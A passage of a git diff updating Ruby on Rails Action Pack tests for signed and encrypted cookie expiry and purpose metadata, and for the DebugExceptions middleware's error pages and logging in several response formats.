+    assert_equal "alice", cookies["user_name"]
+    cookies["user_name"] = "bob"
+    get :set_cookie_if_not_present
+    assert_equal "bob", cookies["user_name"]
+  end
+
+  def test_signed_cookie_with_expires_set_relatively
+    request.env["action_dispatch.use_cookies_with_metadata"] = true
+
+    cookies.signed[:user_name] = { value: "assain", expires: 2.hours }
+
+    travel 1.hour
+    assert_equal "assain", cookies.signed[:user_name]
+
+    travel 2.hours
+    assert_nil cookies.signed[:user_name]
+  end
+
+  def test_encrypted_cookie_with_expires_set_relatively
+    request.env["action_dispatch.use_cookies_with_metadata"] = true
+
+    cookies.encrypted[:user_name] = { value: "assain", expires: 2.hours }
+
+    travel 1.hour
+    assert_equal "assain", cookies.encrypted[:user_name]
+
+    travel 2.hours
+    assert_nil cookies.encrypted[:user_name]
+  end
+
+  def test_vanilla_cookie_with_expires_set_relatively
+    travel_to Time.utc(2017, 8, 15) do
+      get :cookie_expires_in_two_hours
+      assert_set_cookie_header "user_name=assain; path=/; expires=Tue, 15 Aug 2017 02:00:00 GMT; SameSite=Lax"
     end
+  end
 
-    def assert_not_cookie_header(expected)
-      header = @response.headers["Set-Cookie"]
-      if header.respond_to?(:to_str)
-        assert_not_equal expected.split("\n").sort, header.split("\n").sort
-      else
-        assert_not_equal expected.split("\n"), header
-      end
+  def test_signed_cookie_with_false_value_and_metadata
+    request.env["action_dispatch.use_cookies_with_metadata"] = true
+
+    cookies.signed[:foo] = false
+    assert_equal false, cookies.signed[:foo]
+  end
+
+  def test_encrypted_cookie_with_false_value_and_metadata
+    request.env["action_dispatch.use_cookies_with_metadata"] = true
+
+    cookies.encrypted[:foo] = false
+    assert_equal false, cookies.encrypted[:foo]
+  end
+
+  def test_purpose_metadata_for_encrypted_cookies
+    get :encrypted_discount_and_user_id_cookie
+
+    cookies[:discount_percentage] = cookies[:user_id]
+    assert_equal 50, cookies.encrypted[:discount_percentage]
+
+    request.env["action_dispatch.use_cookies_with_metadata"] = true
+
+    get :encrypted_discount_and_user_id_cookie
+
+    cookies[:discount_percentage] = cookies[:user_id]
+    assert_nil cookies.encrypted[:discount_percentage]
+  end
+
+  def test_purpose_metadata_for_signed_cookies
+    get :signed_discount_and_user_id_cookie
+
+    cookies[:discount_percentage] = cookies[:user_id]
+    assert_equal 50, cookies.signed[:discount_percentage]
+
+    request.env["action_dispatch.use_cookies_with_metadata"] = true
+
+    get :signed_discount_and_user_id_cookie
+
+    cookies[:discount_percentage] = cookies[:user_id]
+    assert_nil cookies.signed[:discount_percentage]
+  end
+
+  def test_switch_off_metadata_for_encrypted_cookies_if_config_is_false
+    request.env["action_dispatch.use_cookies_with_metadata"] = false
+
+    get :encrypted_discount_and_user_id_cookie
+
+    travel 2.hours
+    assert_nil cookies.signed[:user_id]
+  end
+
+  def test_switch_off_metadata_for_signed_cookies_if_config_is_false
+    request.env["action_dispatch.use_cookies_with_metadata"] = false
+
+    get :signed_discount_and_user_id_cookie
+
+    travel 2.hours
+
+    assert_nil cookies.signed[:user_id]
+  end
+
+  def test_read_rails_5_2_stable_encrypted_cookies_if_config_is_false
+    request.env["action_dispatch.use_cookies_with_metadata"] = false
+
+    get :rails_5_2_stable_encrypted_cookie_with_authenticated_encryption_flag_on
+
+    assert_equal "5-2-Stable Chocolate Cookies", cookies.encrypted[:favorite]
+
+    travel 1001.years do
+      assert_nil cookies.encrypted[:favorite]
+    end
+
+    get :rails_5_2_stable_encrypted_cookie_with_authenticated_encryption_flag_off
+
+    assert_equal "5-2-Stable Chocolate Cookies", cookies.encrypted[:favorite]
+  end
+
+  def test_read_rails_5_2_stable_signed_cookies_if_config_is_false
+    request.env["action_dispatch.use_cookies_with_metadata"] = false
+
+    get :rails_5_2_stable_signed_cookie_with_authenticated_encryption_flag_on
+
+    assert_equal "5-2-Stable Choco Chip Cookie", cookies.signed[:favorite]
+
+    travel 1001.years do
+      assert_nil cookies.signed[:favorite]
     end
+
+    get :rails_5_2_stable_signed_cookie_with_authenticated_encryption_flag_off
+
+    assert_equal "5-2-Stable Choco Chip Cookie", cookies.signed[:favorite]
+  end
+
+  def test_read_rails_5_2_stable_encrypted_cookies_if_use_metadata_config_is_true
+    request.env["action_dispatch.use_cookies_with_metadata"] = true
+
+    get :rails_5_2_stable_encrypted_cookie_with_authenticated_encryption_flag_on
+
+    assert_equal "5-2-Stable Chocolate Cookies", cookies.encrypted[:favorite]
+
+    travel 1001.years do
+      assert_nil cookies.encrypted[:favorite]
+    end
+
+    get :rails_5_2_stable_encrypted_cookie_with_authenticated_encryption_flag_off
+
+    assert_equal "5-2-Stable Chocolate Cookies", cookies.encrypted[:favorite]
+  end
+
+  def test_read_rails_5_2_stable_signed_cookies_if_use_metadata_config_is_true
+    request.env["action_dispatch.use_cookies_with_metadata"] = true
+
+    get :rails_5_2_stable_signed_cookie_with_authenticated_encryption_flag_on
+
+    assert_equal "5-2-Stable Choco Chip Cookie", cookies.signed[:favorite]
+
+    travel 1001.years do
+      assert_nil cookies.signed[:favorite]
+    end
+
+    get :rails_5_2_stable_signed_cookie_with_authenticated_encryption_flag_off
+
+    assert_equal "5-2-Stable Choco Chip Cookie", cookies.signed[:favorite]
+  end
 end
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
index ea477e890884b..57778f99915dd 100644
--- a/actionpack/test/dispatch/debug_exceptions_test.rb
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -1,10 +1,32 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class DebugExceptionsTest < ActionDispatch::IntegrationTest
+  InterceptedErrorInstance = StandardError.new
+
+  class CustomActionableError < StandardError
+    include ActiveSupport::ActionableError
+
+    action "Action 1" do
+      nil
+    end
+
+    action "Action 2" do
+      nil
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    def hello
+      self.response_body = "hello"
+    end
+  end
+
   class Boomer
     attr_accessor :closed
 
-    def initialize(detailed  = false)
+    def initialize(detailed = false)
       @detailed = detailed
       @closed = false
     end
@@ -22,105 +44,165 @@ def method_that_raises
       raise StandardError.new "error in framework"
     end
 
+    def raise_nested_exceptions
+      raise_nested_exceptions_third
+    end
+
+    def raise_nested_exceptions_first
+      raise "First error"
+    end
+
+    def raise_nested_exceptions_second
+      raise_nested_exceptions_first
+    rescue
+      raise "Second error"
+    end
+
+    def raise_nested_exceptions_third
+      raise_nested_exceptions_second
+    rescue
+      raise "Third error"
+    end
+
+
     def call(env)
       env["action_dispatch.show_detailed_exceptions"] = @detailed
       req = ActionDispatch::Request.new(env)
+      template = ActionView::Template.new(File.binread(__FILE__), __FILE__, ActionView::Template::Handlers::Raw.new, format: :html, locals: [])
+
       case req.path
-      when %r{/pass}
-        [404, { "X-Cascade" => "pass" }, self]
-      when %r{/not_found}
-        raise AbstractController::ActionNotFound
-      when %r{/runtime_error}
+      when "/pass"
+        [404, { ActionDispatch::Constants::X_CASCADE => "pass" }, self]
+      when "/not_found"
+        controller = SimpleController.new
+        raise AbstractController::ActionNotFound.new(nil, controller, :ello)
+      when "/runtime_error"
         raise RuntimeError
-      when %r{/method_not_allowed}
+      when "/method_not_allowed"
         raise ActionController::MethodNotAllowed
-      when %r{/unknown_http_method}
+      when "/intercepted_error"
+        raise InterceptedErrorInstance
+      when "/unknown_http_method"
         raise ActionController::UnknownHttpMethod
-      when %r{/not_implemented}
+      when "/not_implemented"
         raise ActionController::NotImplemented
-      when %r{/unprocessable_entity}
-        raise ActionController::InvalidAuthenticityToken
-      when %r{/not_found_original_exception}
+      when "/invalid_mimetype"
+        raise ActionDispatch::Http::MimeNegotiation::InvalidType
+      when "/not_found_original_exception"
         begin
           raise AbstractController::ActionNotFound.new
         rescue
-          raise ActionView::Template::Error.new("template")
+          raise ActionView::Template::Error.new(template)
+        end
+      when "/cause_mapped_to_rescue_responses"
+        begin
+          raise ActionController::ParameterMissing, :missing_param_key
+        rescue
+          raise NameError.new("uninitialized constant Userr")
         end
-      when %r{/missing_template}
+      when "/missing_template"
         raise ActionView::MissingTemplate.new(%w(foo), "foo/index", %w(foo), false, "mailer")
-      when %r{/bad_request}
+      when "/bad_request"
         raise ActionController::BadRequest
-      when %r{/missing_keys}
+      when "/missing_keys"
         raise ActionController::UrlGenerationError, "No route matches"
-      when %r{/parameter_missing}
-        raise ActionController::ParameterMissing, :missing_param_key
-      when %r{/original_syntax_error}
+      when "/parameter_missing"
+        raise ActionController::ParameterMissing.new(:invalid_param_key, %w(valid_param_key))
+      when "/original_syntax_error"
         eval "broke_syntax =" # `eval` need for raise native SyntaxError at runtime
-      when %r{/syntax_error_into_view}
+      when "/syntax_error_into_view"
         begin
           eval "broke_syntax ="
         rescue Exception
-          template = ActionView::Template.new(File.read(__FILE__),
-                                              __FILE__,
-                                              ActionView::Template::Handlers::Raw.new,
-                                              {})
           raise ActionView::Template::Error.new(template)
         end
-      when %r{/framework_raises}
+      when "/framework_raises"
         method_that_raises
+      when "/nested_exceptions"
+        raise_nested_exceptions
+      when %r{/actionable_error}
+        raise CustomActionableError
+      when "/utf8_template_error"
+        begin
+          eval "“fancy string�"
+        rescue Exception
+          raise ActionView::Template::Error.new(template)
+        end
       else
         raise "puke!"
       end
     end
   end
 
+  def self.build_app(app, *args)
+    Rack::Lint.new(
+      ActionDispatch::DebugExceptions.new(
+        Rack::Lint.new(app), *args,
+      ),
+    )
+  end
+
+  Interceptor = proc { |request, exception| request.set_header("int", exception) }
+  BadInterceptor = proc { |request, exception| raise "bad" }
   RoutesApp = Struct.new(:routes).new(SharedTestRoutes)
-  ProductionApp  = ActionDispatch::DebugExceptions.new(Boomer.new(false), RoutesApp)
-  DevelopmentApp = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp)
+  ProductionApp  = build_app(Boomer.new(false), RoutesApp)
+  DevelopmentApp = build_app(Boomer.new(true), RoutesApp)
+  InterceptedApp = build_app(Boomer.new(true), RoutesApp, :default, [Interceptor])
+  BadInterceptedApp = build_app(Boomer.new(true), RoutesApp, :default, [BadInterceptor])
+  ApiApp = build_app(Boomer.new(true), RoutesApp, :api)
 
   test "skip diagnosis if not showing detailed exceptions" do
     @app = ProductionApp
     assert_raise RuntimeError do
-      get "/", headers: { "action_dispatch.show_exceptions" => true }
+      get "/", headers: { "action_dispatch.show_exceptions" => :all }
     end
   end
 
   test "skip diagnosis if not showing exceptions" do
     @app = DevelopmentApp
     assert_raise RuntimeError do
-      get "/", headers: { "action_dispatch.show_exceptions" => false }
+      get "/", headers: { "action_dispatch.show_exceptions" => :none }
     end
   end
 
   test "raise an exception on cascade pass" do
     @app = ProductionApp
     assert_raise ActionController::RoutingError do
-      get "/pass", headers: { "action_dispatch.show_exceptions" => true }
+      get "/pass", headers: { "action_dispatch.show_exceptions" => :all }
     end
   end
 
   test "closes the response body on cascade pass" do
     boomer = Boomer.new(false)
-    @app = ActionDispatch::DebugExceptions.new(boomer)
+    @app = self.class.build_app(boomer)
     assert_raise ActionController::RoutingError do
-      get "/pass", headers: { "action_dispatch.show_exceptions" => true }
+      get "/pass", headers: { "action_dispatch.show_exceptions" => :all }
     end
     assert boomer.closed, "Expected to close the response body"
   end
 
+  test "returns empty body on HEAD cascade pass" do
+    @app = DevelopmentApp
+
+    head "/pass"
+
+    assert_response 404
+    assert_equal "", body
+  end
+
   test "displays routes in a table when a RoutingError occurs" do
     @app = DevelopmentApp
-    get "/pass", headers: { "action_dispatch.show_exceptions" => true }
+    get "/pass", headers: { "action_dispatch.show_exceptions" => :all }
     routing_table = body[/route_table.*<.table>/m]
     assert_match "/:controller(/:action)(.:format)", routing_table
     assert_match ":controller#:action", routing_table
-    assert_no_match "&lt;|&gt;", routing_table, "there should not be escaped html in the output"
+    assert_no_match "&lt;|&gt;", routing_table, "there should not be escaped HTML in the output"
   end
 
   test "displays request and response info when a RoutingError occurs" do
     @app = DevelopmentApp
 
-    get "/pass", headers: { "action_dispatch.show_exceptions" => true }
+    get "/pass", headers: { "action_dispatch.show_exceptions" => :all }
 
     assert_select "h2", /Request/
     assert_select "h2", /Response/
@@ -129,40 +211,51 @@ def call(env)
   test "rescue with diagnostics message" do
     @app = DevelopmentApp
 
-    get "/", headers: { "action_dispatch.show_exceptions" => true }
+    get "/", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 500
+    assert_match(/<body>/, body)
     assert_match(/puke/, body)
 
-    get "/not_found", headers: { "action_dispatch.show_exceptions" => true }
+    get "/not_found", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 404
+    assert_match(/<body>/, body)
     assert_match(/#{AbstractController::ActionNotFound.name}/, body)
 
-    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => true }
+    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 405
+    assert_match(/<body>/, body)
     assert_match(/ActionController::MethodNotAllowed/, body)
 
-    get "/unknown_http_method", headers: { "action_dispatch.show_exceptions" => true }
+    get "/unknown_http_method", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 405
+    assert_match(/<body>/, body)
     assert_match(/ActionController::UnknownHttpMethod/, body)
 
-    get "/bad_request", headers: { "action_dispatch.show_exceptions" => true }
+    get "/bad_request", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 400
+    assert_match(/<body>/, body)
     assert_match(/ActionController::BadRequest/, body)
 
-    get "/parameter_missing", headers: { "action_dispatch.show_exceptions" => true }
+    get "/parameter_missing", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 400
+    assert_match(/<body>/, body)
     assert_match(/ActionController::ParameterMissing/, body)
+
+    get "/invalid_mimetype", headers: { "Accept" => "text/html,*", "action_dispatch.show_exceptions" => :all }
+    assert_response 406
+    assert_match(/<body>/, body)
+    assert_match(/ActionDispatch::Http::MimeNegotiation::InvalidType/, body)
   end
 
   test "rescue with text error for xhr request" do
     @app = DevelopmentApp
-    xhr_request_env = { "action_dispatch.show_exceptions" => true, "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest" }
+    xhr_request_env = { "action_dispatch.show_exceptions" => :all, "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest" }
 
     get "/", headers: xhr_request_env
     assert_response 500
     assert_no_match(/<header>/, body)
     assert_no_match(/<body>/, body)
-    assert_equal "text/plain", response.content_type
+    assert_equal "text/plain", response.media_type
     assert_match(/RuntimeError\npuke/, body)
 
     Rails.stub :root, Pathname.new(".") do
@@ -176,135 +269,205 @@ def call(env)
     get "/not_found", headers: xhr_request_env
     assert_response 404
     assert_no_match(/<body>/, body)
-    assert_equal "text/plain", response.content_type
+    assert_equal "text/plain", response.media_type
     assert_match(/#{AbstractController::ActionNotFound.name}/, body)
 
     get "/method_not_allowed", headers: xhr_request_env
     assert_response 405
     assert_no_match(/<body>/, body)
-    assert_equal "text/plain", response.content_type
+    assert_equal "text/plain", response.media_type
     assert_match(/ActionController::MethodNotAllowed/, body)
 
     get "/unknown_http_method", headers: xhr_request_env
     assert_response 405
     assert_no_match(/<body>/, body)
-    assert_equal "text/plain", response.content_type
+    assert_equal "text/plain", response.media_type
     assert_match(/ActionController::UnknownHttpMethod/, body)
 
     get "/bad_request", headers: xhr_request_env
     assert_response 400
     assert_no_match(/<body>/, body)
-    assert_equal "text/plain", response.content_type
+    assert_equal "text/plain", response.media_type
     assert_match(/ActionController::BadRequest/, body)
 
     get "/parameter_missing", headers: xhr_request_env
     assert_response 400
     assert_no_match(/<body>/, body)
-    assert_equal "text/plain", response.content_type
+    assert_equal "text/plain", response.media_type
+    assert_match(/ActionController::ParameterMissing/, body)
+  end
+
+  test "rescue with text error and markdown format when text/markdown is preferred" do
+    @app = DevelopmentApp
+
+    get "/", headers: { "Accept" => "text/markdown", "action_dispatch.show_exceptions" => :all }
+    assert_response 500
+    assert_no_match(/<body>/, body)
+    assert_equal "text/markdown", response.media_type
+    assert_match(/RuntimeError/, body)
+    assert_match(/puke/, body)
+
+    get "/not_found", headers: { "Accept" => "text/markdown", "action_dispatch.show_exceptions" => :all }
+    assert_response 404
+    assert_no_match(/<body>/, body)
+    assert_equal "text/markdown", response.media_type
+    assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+    get "/method_not_allowed", headers: { "Accept" => "text/markdown", "action_dispatch.show_exceptions" => :all }
+    assert_response 405
+    assert_no_match(/<body>/, body)
+    assert_equal "text/markdown", response.media_type
+    assert_match(/ActionController::MethodNotAllowed/, body)
+
+    get "/unknown_http_method", headers: { "Accept" => "text/markdown", "action_dispatch.show_exceptions" => :all }
+    assert_response 405
+    assert_no_match(/<body>/, body)
+    assert_equal "text/markdown", response.media_type
+    assert_match(/ActionController::UnknownHttpMethod/, body)
+
+    get "/bad_request", headers: { "Accept" => "text/markdown", "action_dispatch.show_exceptions" => :all }
+    assert_response 400
+    assert_no_match(/<body>/, body)
+    assert_equal "text/markdown", response.media_type
+    assert_match(/ActionController::BadRequest/, body)
+
+    get "/parameter_missing", headers: { "Accept" => "text/markdown", "action_dispatch.show_exceptions" => :all }
+    assert_response 400
+    assert_no_match(/<body>/, body)
+    assert_equal "text/markdown", response.media_type
     assert_match(/ActionController::ParameterMissing/, body)
   end
 
   test "rescue with JSON error for JSON API request" do
-    @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api)
+    @app = ApiApp
 
-    get "/", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    get "/", headers: { "action_dispatch.show_exceptions" => :all }, as: :json
     assert_response 500
     assert_no_match(/<header>/, body)
     assert_no_match(/<body>/, body)
-    assert_equal "application/json", response.content_type
+    assert_equal "application/json", response.media_type
     assert_match(/RuntimeError: puke/, body)
 
-    get "/not_found", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    get "/not_found", headers: { "action_dispatch.show_exceptions" => :all }, as: :json
     assert_response 404
     assert_no_match(/<body>/, body)
-    assert_equal "application/json", response.content_type
+    assert_equal "application/json", response.media_type
     assert_match(/#{AbstractController::ActionNotFound.name}/, body)
 
-    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => :all }, as: :json
     assert_response 405
     assert_no_match(/<body>/, body)
-    assert_equal "application/json", response.content_type
+    assert_equal "application/json", response.media_type
     assert_match(/ActionController::MethodNotAllowed/, body)
 
-    get "/unknown_http_method", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    get "/unknown_http_method", headers: { "action_dispatch.show_exceptions" => :all }, as: :json
     assert_response 405
     assert_no_match(/<body>/, body)
-    assert_equal "application/json", response.content_type
+    assert_equal "application/json", response.media_type
     assert_match(/ActionController::UnknownHttpMethod/, body)
 
-    get "/bad_request", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    get "/bad_request", headers: { "action_dispatch.show_exceptions" => :all }, as: :json
     assert_response 400
     assert_no_match(/<body>/, body)
-    assert_equal "application/json", response.content_type
+    assert_equal "application/json", response.media_type
     assert_match(/ActionController::BadRequest/, body)
 
-    get "/parameter_missing", headers: { "action_dispatch.show_exceptions" => true }, as: :json
+    get "/parameter_missing", headers: { "action_dispatch.show_exceptions" => :all }, as: :json
     assert_response 400
     assert_no_match(/<body>/, body)
-    assert_equal "application/json", response.content_type
+    assert_equal "application/json", response.media_type
     assert_match(/ActionController::ParameterMissing/, body)
+
+    get "/invalid_mimetype", headers: { "Accept" => "text/html,*", "action_dispatch.show_exceptions" => :all }, as: :json
+    assert_response 406
+    assert_no_match(/<body>/, body)
+    assert_equal "application/json", response.media_type
+    assert_match(/ActionDispatch::Http::MimeNegotiation::InvalidType/, body)
+  end
+
+  test "rescue with suggestions" do
+    @app = DevelopmentApp
+
+    get "/not_found", headers: { "action_dispatch.show_exceptions" => :all }
+    assert_response 404
+    assert_select("b", /Did you mean\?/)
+    assert_select("li", "hello")
+
+    get "/parameter_missing", headers: { "action_dispatch.show_exceptions" => :all }
+    assert_response 400
+    assert_select("b", /Did you mean\?/)
+    assert_select("li", "valid_param_key")
   end
 
   test "rescue with HTML format for HTML API request" do
-    @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api)
+    @app = ApiApp
 
-    get "/index.html", headers: { "action_dispatch.show_exceptions" => true }
+    get "/index.html", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 500
     assert_match(/<header>/, body)
     assert_match(/<body>/, body)
-    assert_equal "text/html", response.content_type
+    assert_equal "text/html", response.media_type
     assert_match(/puke/, body)
   end
 
   test "rescue with XML format for XML API requests" do
-    @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api)
+    @app = ApiApp
 
-    get "/index.xml", headers: { "action_dispatch.show_exceptions" => true }
+    get "/index.xml", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 500
-    assert_equal "application/xml", response.content_type
+    assert_equal "application/xml", response.media_type
     assert_match(/RuntimeError: puke/, body)
   end
 
   test "rescue with JSON format as fallback if API request format is not supported" do
-    begin
-      Mime::Type.register "text/wibble", :wibble
+    Mime::Type.register "text/wibble", :wibble
 
-      ActionDispatch::IntegrationTest.register_encoder(:wibble,
-        param_encoder: -> params { params })
+    ActionDispatch::IntegrationTest.register_encoder(:wibble,
+      param_encoder: -> params { params })
 
-      @app = ActionDispatch::DebugExceptions.new(Boomer.new(true), RoutesApp, :api)
+    @app = ApiApp
 
-      get "/index", headers: { "action_dispatch.show_exceptions" => true }, as: :wibble
-      assert_response 500
-      assert_equal "application/json", response.content_type
-      assert_match(/RuntimeError: puke/, body)
+    get "/index", headers: { "action_dispatch.show_exceptions" => :all }, as: :wibble
+    assert_response 500
+    assert_equal "application/json", response.media_type
+    assert_match(/RuntimeError: puke/, body)
 
-    ensure
-      Mime::Type.unregister :wibble
-    end
+  ensure
+    Mime::Type.unregister :wibble
   end
 
   test "does not show filtered parameters" do
     @app = DevelopmentApp
 
-    get "/", params: { "foo" => "bar" }, headers: { "action_dispatch.show_exceptions" => true,
+    get "/", params: { "foo" => "bar" }, headers: { "action_dispatch.show_exceptions" => :all,
       "action_dispatch.parameter_filter" => [:foo] }
     assert_response 500
-    assert_match("&quot;foo&quot;=&gt;&quot;[FILTERED]&quot;", body)
+
+    assert_match(ERB::Util.html_escape({ "foo" => "[FILTERED]" }.inspect[1..-2]), body)
   end
 
-  test "show registered original exception for wrapped exceptions" do
+  test "show registered original exception if the last exception is TemplateError" do
     @app = DevelopmentApp
 
-    get "/not_found_original_exception", headers: { "action_dispatch.show_exceptions" => true }
+    get "/not_found_original_exception", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 404
-    assert_match(/AbstractController::ActionNotFound/, body)
+    assert_match %r{AbstractController::ActionNotFound}, body
+    assert_match %r{Showing <i>.*test/dispatch/debug_exceptions_test.rb</i>}, body
   end
 
-  test "named urls missing keys raise 500 level error" do
+  test "show the last exception and cause even when the cause is mapped to resque_responses" do
     @app = DevelopmentApp
 
-    get "/missing_keys", headers: { "action_dispatch.show_exceptions" => true }
+    get "/cause_mapped_to_rescue_responses", headers: { "action_dispatch.show_exceptions" => :all }
+    assert_response 500
+    assert_match %r{ActionController::ParameterMissing}, body
+    assert_match %r{NameError}, body
+  end
+
+  test "named URLs missing keys raise 500 level error" do
+    @app = DevelopmentApp
+
+    get "/missing_keys", headers: { "action_dispatch.show_exceptions" => :all }
     assert_response 500
 
     assert_match(/ActionController::UrlGenerationError/, body)
@@ -313,7 +476,7 @@ def call(env)
   test "show the controller name in the diagnostics template when controller name is present" do
     @app = DevelopmentApp
     get("/runtime_error", headers: {
-      "action_dispatch.show_exceptions" => true,
+      "action_dispatch.show_exceptions" => :all,
       "action_dispatch.request.parameters" => {
         "action" => "show",
         "id" => "unknown",
@@ -336,7 +499,7 @@ def call(env)
     }
 
     get("/runtime_error", headers: {
-      "action_dispatch.show_exceptions" => true,
+      "action_dispatch.show_exceptions" => :all,
       "action_dispatch.request.parameters" => {
         "action" => "show",
         "controller" => "featured_tile"
@@ -344,20 +507,33 @@ def call(env)
     })
     assert_response 500
 
-    assert_includes(body, CGI.escapeHTML(PP.pp(params, "", 200)))
+    assert_includes(body, ERB::Util.html_escape(PP.pp(params, +"", 200)))
   end
 
   test "sets the HTTP charset parameter" do
     @app = DevelopmentApp
 
-    get "/", headers: { "action_dispatch.show_exceptions" => true }
-    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+    get "/", headers: { "action_dispatch.show_exceptions" => :all }
+    assert_equal "text/html; charset=utf-8", response.headers["content-type"]
   end
 
   test "uses logger from env" do
     @app = DevelopmentApp
     output = StringIO.new
-    get "/", headers: { "action_dispatch.show_exceptions" => true, "action_dispatch.logger" => Logger.new(output) }
+    get "/", headers: { "action_dispatch.show_exceptions" => :all, "action_dispatch.logger" => Logger.new(output) }
+    assert_match(/puke/, output.rewind && output.read)
+  end
+
+  test "logs at configured log level" do
+    @app = DevelopmentApp
+    output = StringIO.new
+    logger = Logger.new(output)
+    logger.level = Logger::WARN
+
+    get "/", headers: { "action_dispatch.show_exceptions" => :all, "action_dispatch.logger" => logger, "action_dispatch.debug_exception_log_level" => Logger::INFO }
+    assert_no_match(/puke/, output.rewind && output.read)
+
+    get "/", headers: { "action_dispatch.show_exceptions" => :all, "action_dispatch.logger" => logger, "action_dispatch.debug_exception_log_level" => Logger::ERROR }
     assert_match(/puke/, output.rewind && output.read)
   end
 
@@ -368,7 +544,7 @@ def call(env)
 
     _old, ActionView::Base.logger = ActionView::Base.logger, logger
     begin
-      get "/", headers: { "action_dispatch.show_exceptions" => true, "action_dispatch.logger" => logger }
+      get "/", headers: { "action_dispatch.show_exceptions" => :all, "action_dispatch.logger" => logger }
     ensure
       ActionView::Base.logger = _old
     end
@@ -392,7 +568,7 @@ def call(env)
     _old, ActionView::Base.logger = ActionView::Base.logger, logger
     begin
       assert_nothing_raised do
-        get "/", headers: { "action_dispatch.show_exceptions" => true, "action_dispatch.logger" => logger }
+        get "/", headers: { "action_dispatch.show_exceptions" => :all, "action_dispatch.logger" => logger }
       end
     ensure
       ActionView::Base.logger = _old
@@ -406,32 +582,196 @@ def call(env)
     backtrace_cleaner = ActiveSupport::BacktraceCleaner.new
 
     backtrace_cleaner.stub :clean, ["passed backtrace cleaner"] do
-      get "/", headers: { "action_dispatch.show_exceptions" => true, "action_dispatch.backtrace_cleaner" => backtrace_cleaner }
+      get "/", headers: { "action_dispatch.show_exceptions" => :all, "action_dispatch.backtrace_cleaner" => backtrace_cleaner }
       assert_match(/passed backtrace cleaner/, body)
     end
   end
 
   test "logs exception backtrace when all lines silenced" do
+    @app = DevelopmentApp
+
     output = StringIO.new
     backtrace_cleaner = ActiveSupport::BacktraceCleaner.new
     backtrace_cleaner.add_silencer { true }
 
-    env = { "action_dispatch.show_exceptions" => true,
-           "action_dispatch.logger" => Logger.new(output),
-           "action_dispatch.backtrace_cleaner" => backtrace_cleaner }
+    env = { "action_dispatch.show_exceptions"   => :all,
+            "action_dispatch.logger"            => Logger.new(output),
+            "action_dispatch.backtrace_cleaner" => backtrace_cleaner }
 
     get "/", headers: env
     assert_operator((output.rewind && output.read).lines.count, :>, 10)
   end
 
+  test "doesn't log the framework backtrace when error type is a routing error" do
+    @app = ProductionApp
+
+    output = StringIO.new
+    backtrace_cleaner = ActiveSupport::BacktraceCleaner.new
+    backtrace_cleaner.add_silencer { true }
+
+    env = { "action_dispatch.show_exceptions"       => :all,
+            "action_dispatch.logger"                => Logger.new(output),
+            "action_dispatch.log_rescued_responses" => true,
+            "action_dispatch.backtrace_cleaner"     => backtrace_cleaner }
+
+    assert_raises ActionController::RoutingError do
+      get "/pass", headers: env
+    end
+
+    log = output.rewind && output.read
+
+    assert_includes log, "ActionController::RoutingError (No route matches [GET] \"/pass\")"
+    assert_equal 3, log.lines.count
+  end
+
+  test "doesn't log the framework backtrace when error type is a invalid mime type" do
+    @app = ProductionApp
+
+    output = StringIO.new
+    backtrace_cleaner = ActiveSupport::BacktraceCleaner.new
+    backtrace_cleaner.add_silencer { true }
+
+    env = { "Accept" => "text/html,*",
+            "action_dispatch.show_exceptions"       => :all,
+            "action_dispatch.logger"                => Logger.new(output),
+            "action_dispatch.log_rescued_responses" => true,
+            "action_dispatch.backtrace_cleaner"     => backtrace_cleaner }
+
+    assert_raises ActionDispatch::Http::MimeNegotiation::InvalidType do
+      get "/invalid_mimetype", headers: env
+    end
+
+    log = output.rewind && output.read
+
+    assert_includes log, "ActionDispatch::Http::MimeNegotiation::InvalidType (ActionDispatch::Http::MimeNegotiation::InvalidType)"
+    assert_equal 3, log.lines.count
+  end
+
+  test "skips logging when rescued and log_rescued_responses is false" do
+    @app = DevelopmentApp
+
+    output = StringIO.new
+
+    env = { "action_dispatch.show_exceptions"       => :all,
+            "action_dispatch.logger"                => Logger.new(output),
+            "action_dispatch.log_rescued_responses" => false }
+
+    get "/parameter_missing", headers: env
+    assert_response 400
+    assert_empty (output.rewind && output.read).lines
+  end
+
+  test "does not skip logging when rescued and log_rescued_responses is true" do
+    @app = DevelopmentApp
+
+    output = StringIO.new
+
+    env = { "action_dispatch.show_exceptions"       => :all,
+            "action_dispatch.logger"                => Logger.new(output),
+            "action_dispatch.log_rescued_responses" => true }
+
+    get "/parameter_missing", headers: env
+    assert_response 400
+    assert_not_empty (output.rewind && output.read).lines
+  end
+
+  test "logs exception causes" do
+    @app = DevelopmentApp
+
+    output = StringIO.new
+
+    env = { "action_dispatch.show_exceptions"       => :all,
+            "action_dispatch.logger"                => Logger.new(output),
+            "action_dispatch.log_rescued_responses" => true }
+
+    get "/nested_exceptions", headers: env
+    assert_response 500
+    log = output.rewind && output.read
+
+    # Splitting into paragraphs to be easier to see difference/error when there is one
+    paragraphs = log.split(/\n\s*\n/)
+
+    assert_includes(paragraphs[0], <<~MSG.strip)
